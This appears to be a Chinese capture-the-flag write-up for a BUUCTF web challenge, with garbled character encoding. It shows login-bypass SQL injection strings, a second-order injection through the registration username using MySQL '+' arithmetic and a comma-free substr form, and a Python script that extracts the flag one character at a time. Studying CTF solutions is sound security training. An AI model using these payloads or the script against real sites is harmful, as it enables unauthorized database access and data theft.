一、環(huán)境：在線測(cè)試平臺(tái)

BUUCTF在線評(píng)測(cè) (buuoj.cn)

二、進(jìn)入界面先嘗試萬能賬號(hào)

1'or'1'='1'#

換格式 hais1bux1

1@1'or'1'='1'#

?

三、萬能的不行那我們就得想注冊(cè)了，去register.php去看看?

注冊(cè)個(gè)賬號(hào)

?發(fā)現(xiàn)用戶名回顯，猜測(cè)考點(diǎn)為用戶名處二次注入，再次注冊(cè)

?

很明顯是有的?

?

三、如何解決？

在mysql中我們熟知一點(diǎn)是，+可以當(dāng)做運(yùn)算符 ，比如我們執(zhí)行

select ‘1’+‘2a’

返回值為空

select '0'+database();

?

當(dāng)我們用ASCII值來計(jì)算時(shí)，此時(shí)出現(xiàn)庫第一位s的ASCII碼值

select '0'+ascii(substr(database(),1,1));

因?yàn)轭}目中過濾掉了逗號(hào)，因此用from for來代替

0'+ascii(substr(database() from 1 for 1))+'0;

成功回顯，因?yàn)檫^濾了information，只能猜字段名為flag，所以去用python腳本爬

腳本如下：

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/19 1:04
@version: 1.0
"""
import requests
import logging
import re
from time import sleep# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)def search():flag = ''url = 'http://19f46d59-6746-4dce-84c1-73a67354f6d1.node5.buuoj.cn/'url1 = url+'register.php'url2 = url+'login.php'for i in range(100):sleep(0.3)#不加sleep就429了QAQdata1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}r1 = requests.post(url1, data=data1)r2 = requests.post(url2, data=data2)res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)res1 = re.search(r'\d+', res.group())flag = flag+chr(int(res1.group()))print(flag)print("final:"+flag)if __name__ == '__main__':search()

四、最終答案：

?